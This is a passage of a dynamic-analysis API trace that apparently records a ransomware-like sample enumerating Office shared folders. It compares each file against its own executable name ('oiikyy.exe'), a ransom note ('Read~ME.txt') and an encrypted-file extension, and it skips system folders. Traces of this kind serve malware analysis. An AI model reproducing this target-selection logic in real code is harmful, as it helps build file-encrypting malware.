	[0078.802] lstrcmpiW (lpString1="PREVIEW.GIF", lpString2="Windows") returned -1
	[0078.802] lstrcmpW (lpString1="PREVIEW.GIF", lpString2="oiikyy.exe") returned 1
	[0078.802] StrStrW (lpFirst="PREVIEW.GIF", lpSrch=".~~~~") returned 0x0
	[0078.802] lstrcmpW (lpString1="PREVIEW.GIF", lpString2="Read~ME.txt") returned -1
	[0078.802] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x3b62c8
	[0078.803] GetCurrentThreadId () returned 0x618
	[0078.803] RtlWakeConditionVariable () returned 0x365f48
	[0078.803] FindNextFileW (in: hFindFile=0x37a888, lpFindFileData=0x27defa4 | out: lpFindFileData=0x27defa4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x389cfa00, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x5ad387f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x389cfa00, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0xa5d5, dwReserved0=0x0, dwReserved1=0x0, cFileName="THMBNAIL.PNG", cAlternateFileName="")) returned 1
	[0078.803] lstrcmpiW (lpString1="THMBNAIL.PNG", lpString2="Windows") returned -1
	[0078.803] lstrcmpW (lpString1="THMBNAIL.PNG", lpString2="oiikyy.exe") returned 1
	[0078.803] StrStrW (lpFirst="THMBNAIL.PNG", lpSrch=".~~~~") returned 0x0
	[0078.803] lstrcmpW (lpString1="THMBNAIL.PNG", lpString2="Read~ME.txt") returned 1
	[0078.803] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x3b62c8
	[0078.803] GetCurrentThreadId () returned 0x618
	[0078.803] RtlWakeConditionVariable () returned 0x365f48
	[0078.803] FindNextFileW (in: hFindFile=0x37a888, lpFindFileData=0x27defa4 | out: lpFindFileData=0x27defa4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x36a17500, ftCreationTime.dwHighDateTime=0x1cab7f2, ftLastAccessTime.dwLowDateTime=0x5e574fb0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x36a17500, ftLastWriteTime.dwHighDateTime=0x1cab7f2, nFileSizeHigh=0x0, nFileSizeLow=0x101cc, dwReserved0=0x0, dwReserved1=0x0, cFileName="WATER.ELM", cAlternateFileName="")) returned 1
	[0078.803] lstrcmpiW (lpString1="WATER.ELM", lpString2="Windows") returned -1
	[0078.803] lstrcmpW (lpString1="WATER.ELM", lpString2="oiikyy.exe") returned 1
	[0078.803] StrStrW (lpFirst="WATER.ELM", lpSrch=".~~~~") returned 0x0
	[0078.803] lstrcmpW (lpString1="WATER.ELM", lpString2="Read~ME.txt") returned 1
	[0078.803] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x3b62c8
	[0078.803] GetCurrentThreadId () returned 0x618
	[0078.803] RtlWakeConditionVariable () returned 0x365f48
	[0078.803] FindNextFileW (in: hFindFile=0x37a888, lpFindFileData=0x27defa4 | out: lpFindFileData=0x27defa4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x389cfa00, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x7084efd0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x389cfa00, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0x1a1, dwReserved0=0x0, dwReserved1=0x0, cFileName="WATER.INF", cAlternateFileName="")) returned 1
	[0078.803] lstrcmpiW (lpString1="WATER.INF", lpString2="Windows") returned -1
	[0078.803] lstrcmpW (lpString1="WATER.INF", lpString2="oiikyy.exe") returned 1
	[0078.803] StrStrW (lpFirst="WATER.INF", lpSrch=".~~~~") returned 0x0
	[0078.804] lstrcmpW (lpString1="WATER.INF", lpString2="Read~ME.txt") returned 1
	[0078.804] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x3b62c8
	[0078.804] GetCurrentThreadId () returned 0x618
	[0078.804] RtlWakeConditionVariable () returned 0x365f48
	[0078.804] FindNextFileW (in: hFindFile=0x37a888, lpFindFileData=0x27defa4 | out: lpFindFileData=0x27defa4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x389cfa00, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x7084efd0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x389cfa00, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0x1a1, dwReserved0=0x0, dwReserved1=0x0, cFileName="WATER.INF", cAlternateFileName="")) returned 0
	[0078.804] FindClose (in: hFindFile=0x37a888 | out: hFindFile=0x37a888) returned 1
	[0078.804] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x3b62c8
	[0078.804] GetCurrentThreadId () returned 0x618
	[0078.804] RtlWakeConditionVariable () returned 0x365f48
	[0078.804] FindNextFileW (in: hFindFile=0x37a848, lpFindFileData=0x27df258 | out: lpFindFileData=0x27df258*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5a71ef90, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x7084efd0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7084efd0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="WATERMAR", cAlternateFileName="")) returned 1
	[0078.804] lstrcmpiW (lpString1="WATERMAR", lpString2="Windows") returned -1
	[0078.804] lstrcmpW (lpString1="WATERMAR", lpString2=".") returned 1
	[0078.804] lstrcmpW (lpString1="WATERMAR", lpString2="..") returned 1
	[0078.804] lstrcmpW (lpString1="WATERMAR", lpString2="AppData") returned 1
	[0078.804] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\WATERMAR", lpSrch="AppData") returned 0x0
	[0078.804] lstrlenW (lpString="C:\\Windows") returned 10
	[0078.805] lstrcmpiW (lpString1="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\WATERMAR", lpString2="C:\\Windows") returned -1
	[0078.805] lstrlenW (lpString="C:\\System Volume Information") returned 28
	[0078.805] lstrcmpiW (lpString1="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\WATERMAR", lpString2="C:\\System Volume Information") returned -1
	[0078.805] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xfffe) returned 0x3d26e8
	[0078.805] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\WATERMAR\\*", lpFindFileData=0x27defa4 | out: lpFindFileData=0x27defa4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5a71ef90, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x7084efd0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7084efd0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x37a888
	[0078.805] lstrcmpiW (lpString1=".", lpString2="Windows") returned -1
	[0078.805] lstrcmpW (lpString1=".", lpString2=".") returned 0
	[0078.805] lstrcmpW (lpString1=".", lpString2="oiikyy.exe") returned -1
	[0078.805] StrStrW (lpFirst=".", lpSrch=".~~~~") returned 0x0
	[0078.805] lstrcmpW (lpString1=".", lpString2="Read~ME.txt") returned -1
	[0078.805] FindNextFileW (in: hFindFile=0x37a888, lpFindFileData=0x27defa4 | out: lpFindFileData=0x27defa4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5a71ef90, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x7084efd0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7084efd0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0078.805] lstrcmpiW (lpString1="..", lpString2="Windows") returned -1
	[0078.805] lstrcmpW (lpString1="..", lpString2=".") returned 1
	[0078.805] lstrcmpW (lpString1="..", lpString2="..") returned 0
	[0078.805] lstrcmpW (lpString1="..", lpString2="oiikyy.exe") returned -1
	[0078.805] StrStrW (lpFirst="..", lpSrch=".~~~~") returned 0x0
	[0078.805] lstrcmpW (lpString1="..", lpString2="Read~ME.txt") returned -1
	[0078.806] FindNextFileW (in: hFindFile=0x37a888, lpFindFileData=0x27defa4 | out: lpFindFileData=0x27defa4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x389cfa00, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x5a71ef90, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x389cfa00, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0x623, dwReserved0=0x0, dwReserved1=0x0, cFileName="PREVIEW.GIF", cAlternateFileName="")) returned 1
	[0078.806] lstrcmpiW (lpString1="PREVIEW.GIF", lpString2="Windows") returned -1
	[0078.806] lstrcmpW (lpString1="PREVIEW.GIF", lpString2="oiikyy.exe") returned 1
	[0078.806] StrStrW (lpFirst="PREVIEW.GIF", lpSrch=".~~~~") returned 0x0
	[0078.806] lstrcmpW (lpString1="PREVIEW.GIF", lpString2="Read~ME.txt") returned -1
	[0078.806] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xb0) returned 0x3a5018
	[0078.806] GetCurrentThreadId () returned 0x618
	[0078.806] RtlWakeConditionVariable () returned 0x365f48
	[0078.806] FindNextFileW (in: hFindFile=0x37a888, lpFindFileData=0x27defa4 | out: lpFindFileData=0x27defa4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x389cfa00, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x5ad387f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x389cfa00, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0x75da, dwReserved0=0x0, dwReserved1=0x0, cFileName="THMBNAIL.PNG", cAlternateFileName="")) returned 1
	[0078.806] lstrcmpiW (lpString1="THMBNAIL.PNG", lpString2="Windows") returned -1
	[0078.806] lstrcmpW (lpString1="THMBNAIL.PNG", lpString2="oiikyy.exe") returned 1
	[0078.806] StrStrW (lpFirst="THMBNAIL.PNG", lpSrch=".~~~~") returned 0x0
	[0078.806] lstrcmpW (lpString1="THMBNAIL.PNG", lpString2="Read~ME.txt") returned 1
	[0078.806] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xb0) returned 0x3a5018
	[0078.806] GetCurrentThreadId () returned 0x618
	[0078.806] RtlWakeConditionVariable () returned 0x365f48
	[0078.806] FindNextFileW (in: hFindFile=0x37a888, lpFindFileData=0x27defa4 | out: lpFindFileData=0x27defa4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x37d2a200, ftCreationTime.dwHighDateTime=0x1cab7f2, ftLastAccessTime.dwLowDateTime=0x7084efd0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x37d2a200, ftLastWriteTime.dwHighDateTime=0x1cab7f2, nFileSizeHigh=0x0, nFileSizeLow=0xbfc6, dwReserved0=0x0, dwReserved1=0x0, cFileName="WATERMAR.ELM", cAlternateFileName="")) returned 1
	[0078.806] lstrcmpiW (lpString1="WATERMAR.ELM", lpString2="Windows") returned -1
	[0078.806] lstrcmpW (lpString1="WATERMAR.ELM", lpString2="oiikyy.exe") returned 1
	[0078.806] StrStrW (lpFirst="WATERMAR.ELM", lpSrch=".~~~~") returned 0x0
	[0078.806] lstrcmpW (lpString1="WATERMAR.ELM", lpString2="Read~ME.txt") returned 1
	[0078.806] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xb0) returned 0x3a5018
	[0078.806] GetCurrentThreadId () returned 0x618
	[0078.807] RtlWakeConditionVariable () returned 0x365f48
	[0078.807] FindNextFileW (in: hFindFile=0x37a888, lpFindFileData=0x27defa4 | out: lpFindFileData=0x27defa4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x389cfa00, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x70875130, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x389cfa00, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0x2ab, dwReserved0=0x0, dwReserved1=0x0, cFileName="WATERMAR.INF", cAlternateFileName="")) returned 1
	[0078.807] lstrcmpiW (lpString1="WATERMAR.INF", lpString2="Windows") returned -1
	[0078.807] lstrcmpW (lpString1="WATERMAR.INF", lpString2="oiikyy.exe") returned 1
	[0078.807] StrStrW (lpFirst="WATERMAR.INF", lpSrch=".~~~~") returned 0x0
	[0078.807] lstrcmpW (lpString1="WATERMAR.INF", lpString2="Read~ME.txt") returned 1
	[0078.807] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xb0) returned 0x3a5018
	[0078.807] GetCurrentThreadId () returned 0x618
	[0078.807] RtlWakeConditionVariable () returned 0x365f48
	[0078.807] FindNextFileW (in: hFindFile=0x37a888, lpFindFileData=0x27defa4 | out: lpFindFileData=0x27defa4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x389cfa00, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x70875130, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x389cfa00, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0x2ab, dwReserved0=0x0, dwReserved1=0x0, cFileName="WATERMAR.INF", cAlternateFileName="")) returned 0
	[0078.807] FindClose (in: hFindFile=0x37a888 | out: hFindFile=0x37a888) returned 1
	[0078.807] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xb0) returned 0x3a5018
	[0078.807] GetCurrentThreadId () returned 0x618
	[0078.807] RtlWakeConditionVariable () returned 0x365f48
	[0078.807] FindNextFileW (in: hFindFile=0x37a848, lpFindFileData=0x27df258 | out: lpFindFileData=0x27df258*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5a71ef90, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x7084efd0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7084efd0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="WATERMAR", cAlternateFileName="")) returned 0
	[0078.807] FindClose (in: hFindFile=0x37a848 | out: hFindFile=0x37a848) returned 1
	[0078.807] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x3b1b70
	[0078.808] GetCurrentThreadId () returned 0x618
	[0078.808] RtlWakeConditionVariable () returned 0x365f48
	[0078.808] FindNextFileW (in: hFindFile=0x37a808, lpFindFileData=0x27df50c | out: lpFindFileData=0x27df50c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x54a7f50, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x69dc9750, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x69dc9750, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="TRANSLAT", cAlternateFileName="")) returned 1
	[0078.808] lstrcmpiW (lpString1="TRANSLAT", lpString2="Windows") returned -1
	[0078.808] lstrcmpW (lpString1="TRANSLAT", lpString2=".") returned 1
	[0078.808] lstrcmpW (lpString1="TRANSLAT", lpString2="..") returned 1
	[0078.808] lstrcmpW (lpString1="TRANSLAT", lpString2="AppData") returned 1
	[0078.808] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\TRANSLAT", lpSrch="AppData") returned 0x0
	[0078.808] lstrlenW (lpString="C:\\Windows") returned 10
	[0078.809] lstrcmpiW (lpString1="C:\\Program Files\\Common Files\\Microsoft Shared\\TRANSLAT", lpString2="C:\\Windows") returned -1
	[0078.809] lstrlenW (lpString="C:\\System Volume Information") returned 28
	[0078.809] lstrcmpiW (lpString1="C:\\Program Files\\Common Files\\Microsoft Shared\\TRANSLAT", lpString2="C:\\System Volume Information") returned -1
	[0078.809] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xfffe) returned 0x3d26e8
	[0078.809] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\TRANSLAT\\*", lpFindFileData=0x27df258 | out: lpFindFileData=0x27df258*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x54a7f50, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x69dc9750, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x69dc9750, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x37a848
	[0078.826] lstrcmpiW (lpString1=".", lpString2="Windows") returned -1
	[0078.826] lstrcmpW (lpString1=".", lpString2=".") returned 0
	[0078.826] lstrcmpW (lpString1=".", lpString2="oiikyy.exe") returned -1
	[0078.826] StrStrW (lpFirst=".", lpSrch=".~~~~") returned 0x0
	[0078.826] lstrcmpW (lpString1=".", lpString2="Read~ME.txt") returned -1
	[0078.827] FindNextFileW (in: hFindFile=0x37a848, lpFindFileData=0x27df258 | out: lpFindFileData=0x27df258*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x54a7f50, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x69dc9750, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x69dc9750, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0078.827] lstrcmpiW (lpString1="..", lpString2="Windows") returned -1
	[0078.827] lstrcmpW (lpString1="..", lpString2=".") returned 1
	[0078.827] lstrcmpW (lpString1="..", lpString2="..") returned 0
	[0078.827] lstrcmpW (lpString1="..", lpString2="oiikyy.exe") returned -1
	[0078.827] StrStrW (lpFirst="..", lpSrch=".~~~~") returned 0x0
	[0078.827] lstrcmpW (lpString1="..", lpString2="Read~ME.txt") returned -1
	[0078.827] FindNextFileW (in: hFindFile=0x37a848, lpFindFileData=0x27df258 | out: lpFindFileData=0x27df258*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7562dd0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x7562dd0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7562dd0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ARFR", cAlternateFileName="")) returned 1
	[0078.827] lstrcmpiW (lpString1="ARFR", lpString2="Windows") returned -1
	[0078.827] lstrcmpW (lpString1="ARFR", lpString2=".") returned 1
	[0078.827] lstrcmpW (lpString1="ARFR", lpString2="..") returned 1
	[0078.827] lstrcmpW (lpString1="ARFR", lpString2="AppData") returned 1
	[0078.827] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\TRANSLAT\\ARFR", lpSrch="AppData") returned 0x0
	[0078.827] lstrlenW (lpString="C:\\Windows") returned 10
	[0078.827] lstrcmpiW (lpString1="C:\\Program Files\\Common Files\\Microsoft Shared\\TRANSLAT\\ARFR", lpString2="C:\\Windows") returned -1
	[0078.827] lstrlenW (lpString="C:\\System Volume Information") returned 28
	[0078.827] lstrcmpiW (lpString1="C:\\Program Files\\Common Files\\Microsoft Shared\\TRANSLAT\\ARFR", lpString2="C:\\System Volume Information") returned -1
	[0078.827] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xfffe) returned 0x38b738
	[0078.828] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\TRANSLAT\\ARFR\\*", lpFindFileData=0x27defa4 | out: lpFindFileData=0x27defa4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7562dd0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x7562dd0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7562dd0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x37a888
	[0078.930] lstrcmpiW (lpString1=".", lpString2="Windows") returned -1
	[0078.930] lstrcmpW (lpString1=".", lpString2=".") returned 0
	[0078.930] lstrcmpW (lpString1=".", lpString2="oiikyy.exe") returned -1
	[0078.930] StrStrW (lpFirst=".", lpSrch=".~~~~") returned 0x0
	[0078.930] lstrcmpW (lpString1=".", lpString2="Read~ME.txt") returned -1
	[0078.930] FindNextFileW (in: hFindFile=0x37a888, lpFindFileData=0x27defa4 | out: lpFindFileData=0x27defa4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7562dd0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x7562dd0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7562dd0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0078.930] lstrcmpiW (lpString1="..", lpString2="Windows") returned -1
	[0078.930] lstrcmpW (lpString1="..", lpString2=".") returned 1
	[0078.930] lstrcmpW (lpString1="..", lpString2="..") returned 0
	[0078.930] lstrcmpW (lpString1="..", lpString2="oiikyy.exe") returned -1
	[0078.930] StrStrW (lpFirst="..", lpSrch=".~~~~") returned 0x0
	[0078.930] lstrcmpW (lpString1="..", lpString2="Read~ME.txt") returned -1
	[0078.930] FindNextFileW (in: hFindFile=0x37a888, lpFindFileData=0x27defa4 | out: lpFindFileData=0x27defa4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1b324b00, ftCreationTime.dwHighDateTime=0x1c6e3e3, ftLastAccessTime.dwLowDateTime=0x7562dd0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x1b324b00, ftLastWriteTime.dwHighDateTime=0x1c6e3e3, nFileSizeHigh=0x0, nFileSizeLow=0x195018, dwReserved0=0x0, dwReserved1=0x0, cFileName="MSB1ARFR.ITS", cAlternateFileName="")) returned 1
	[0078.930] lstrcmpiW (lpString1="MSB1ARFR.ITS", lpString2="Windows") returned -1
	[0078.930] lstrcmpW (lpString1="MSB1ARFR.ITS", lpString2="oiikyy.exe") returned -1
	[0078.930] StrStrW (lpFirst="MSB1ARFR.ITS", lpSrch=".~~~~") returned 0x0
	[0078.930] lstrcmpW (lpString1="MSB1ARFR.ITS", lpString2="Read~ME.txt") returned -1
	[0078.930] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x3b68b0
	[0078.930] GetCurrentThreadId () returned 0x618
	[0078.930] RtlWakeConditionVariable () returned 0x365f48
	[0078.931] FindNextFileW (in: hFindFile=0x37a888, lpFindFileData=0x27defa4 | out: lpFindFileData=0x27defa4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1b324b00, ftCreationTime.dwHighDateTime=0x1c6e3e3, ftLastAccessTime.dwLowDateTime=0x7562dd0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x1b324b00, ftLastWriteTime.dwHighDateTime=0x1c6e3e3, nFileSizeHigh=0x0, nFileSizeLow=0x195018, dwReserved0=0x0, dwReserved1=0x0, cFileName="MSB1ARFR.ITS", cAlternateFileName="")) returned 0
	[0078.931] FindClose (in: hFindFile=0x37a888 | out: hFindFile=0x37a888) returned 1
	[0078.931] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x3b68b0
	[0078.931] GetCurrentThreadId () returned 0x618
	[0078.931] RtlWakeConditionVariable () returned 0x365f48
	[0078.931] FindNextFileW (in: hFindFile=0x37a848, lpFindFileData=0x27df258 | out: lpFindFileData=0x27df258*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x54ce0b0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x54ce0b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x54ce0b0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ENES", cAlternateFileName="")) returned 1
	[0078.931] lstrcmpiW (lpString1="ENES", lpString2="Windows") returned -1
	[0078.931] lstrcmpW (lpString1="ENES", lpString2=".") returned 1
	[0078.932] lstrcmpW (lpString1="ENES", lpString2="..") returned 1
	[0078.932] lstrcmpW (lpString1="ENES", lpString2="AppData") returned 1
	[0078.932] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\TRANSLAT\\ENES", lpSrch="AppData") returned 0x0
	[0078.932] lstrlenW (lpString="C:\\Windows") returned 10
	[0078.932] lstrcmpiW (lpString1="C:\\Program Files\\Common Files\\Microsoft Shared\\TRANSLAT\\ENES", lpString2="C:\\Windows") returned -1
	[0078.932] lstrlenW (lpString="C:\\System Volume Information") returned 28
	[0078.932] lstrcmpiW (lpString1="C:\\Program Files\\Common Files\\Microsoft Shared\\TRANSLAT\\ENES", lpString2="C:\\System Volume Information") returned -1
	[0078.932] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xfffe) returned 0x38b738
	[0078.932] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\TRANSLAT\\ENES\\*", lpFindFileData=0x27defa4 | out: lpFindFileData=0x27defa4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x54ce0b0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x54ce0b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x54ce0b0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x37a888
	[0079.015] lstrcmpiW (lpString1=".", lpString2="Windows") returned -1
	[0079.015] lstrcmpW (lpString1=".", lpString2=".") returned 0
	[0079.021] lstrcmpW (lpString1=".", lpString2="oiikyy.exe") returned -1
	[0079.021] StrStrW (lpFirst=".", lpSrch=".~~~~") returned 0x0
	[0079.021] lstrcmpW (lpString1=".", lpString2="Read~ME.txt") returned -1
	[0079.022] FindNextFileW (in: hFindFile=0x37a888, lpFindFileData=0x27defa4 | out: lpFindFileData=0x27defa4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x54ce0b0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x54ce0b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x54ce0b0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0079.023] lstrcmpiW (lpString1="..", lpString2="Windows") returned -1
	[0079.023] lstrcmpW (lpString1="..", lpString2=".") returned 1
	[0079.023] lstrcmpW (lpString1="..", lpString2="..") returned 0
	[0079.023] lstrcmpW (lpString1="..", lpString2="oiikyy.exe") returned -1
	[0079.023] StrStrW (lpFirst="..", lpSrch=".~~~~") returned 0x0
	[0079.023] lstrcmpW (lpString1="..", lpString2="Read~ME.txt") returned -1
